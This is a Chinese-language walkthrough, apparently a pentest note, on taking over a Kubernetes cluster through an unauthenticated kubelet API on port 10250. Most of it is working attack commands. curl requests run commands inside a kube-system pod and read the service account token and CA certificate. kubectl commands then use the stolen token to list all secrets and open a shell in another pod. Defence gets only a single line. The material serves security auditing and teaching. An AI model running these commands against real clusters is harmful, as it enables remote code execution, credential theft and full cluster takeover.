本文详细分析了Kubernetes环境中kubelet API 10250端口未授权访问漏洞的利用过程,包括容器内命令执行、服务账户令牌窃取以及通过kubectl工具实现集群权限提升的技术细节。
Kubernetes: 未授权kubelet API 10250端口令牌窃取与kubectl接管
kube-hunter扫描结果
漏洞列表
位置 |
类别 |
漏洞类型 |
描述 |
证据 |
1.2.3.4:10250 |
远程代码执行 |
容器内执行暴露 |
攻击者可在容器内执行任意命令 |
|
1.2.3.4:10250 |
远程代码执行 |
匿名认证 |
kubelet配置错误,可能允许对所有请求进行安全访问而无需身份验证 |
|
利用步骤
1. 获取运行中的Pod列表
1
|
curl -s https://k8-node:10250/runningpods/
|
2. 在Pod内执行命令
示例请求:
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /"
|
3. 检查环境变量
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=env"
|
查找关键环境变量:
- KUBLET_CERT
- KUBLET_KEY
- CA_CERT
- KUBERNETES_PORT(如:tcp://10.10.10.10:443)
- KUBERNETES_MASTER_NAME(如:10.11.12.13:443)
4. 检查挂载的密钥文件
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=mount"
|
查找服务账户密钥挂载点:
1
|
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=ls -la /var/run/secrets/kubernetes.io/serviceaccount"
|
5. 提取令牌和证书
1
2
3
4
5
|
# 获取token
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
# 获取ca.crt
curl -k -XPOST "https://k8-node:10250/run/kube-system/kube-dns-5b1234c4d5-4321/dnsmasq" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt"
|
6. 使用kubectl访问Kubernetes API
1
2
3
4
5
6
7
8
|
# 列出所有命名空间的Pod
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get pods --all-namespaces
# 获取所有secret
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- get secrets --all-namespaces
# 获取shell访问
kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f --namespace=kube-system --server=https://1.2.3.4 --certificate-authority=ca.crt --token=eyJhbGciOiJSUzI1NiI---SNIP--- /bin/sh
|
7. 使用密钥文件访问(如果通过环境变量获取)
1
|
kubectl --server=https://1.2.3.4 --certificate-authority=ca.crt --client-key=kublet.key --client-certificate=kublet.crt get pods --all-namespaces
|
技术要点
- 漏洞根源:kubelet API 10250端口未配置身份验证
- 攻击链:未授权访问 → 容器内命令执行 → 服务账户令牌窃取 → Kubernetes集群权限提升
- 影响范围:可访问整个Kubernetes集群,包括敏感配置和密钥信息
- 防御措施:正确配置kubelet认证,限制网络访问,定期安全审计
通过这种攻击方式,攻击者可以完全接管Kubernetes集群,获取敏感数据并进一步横向移动。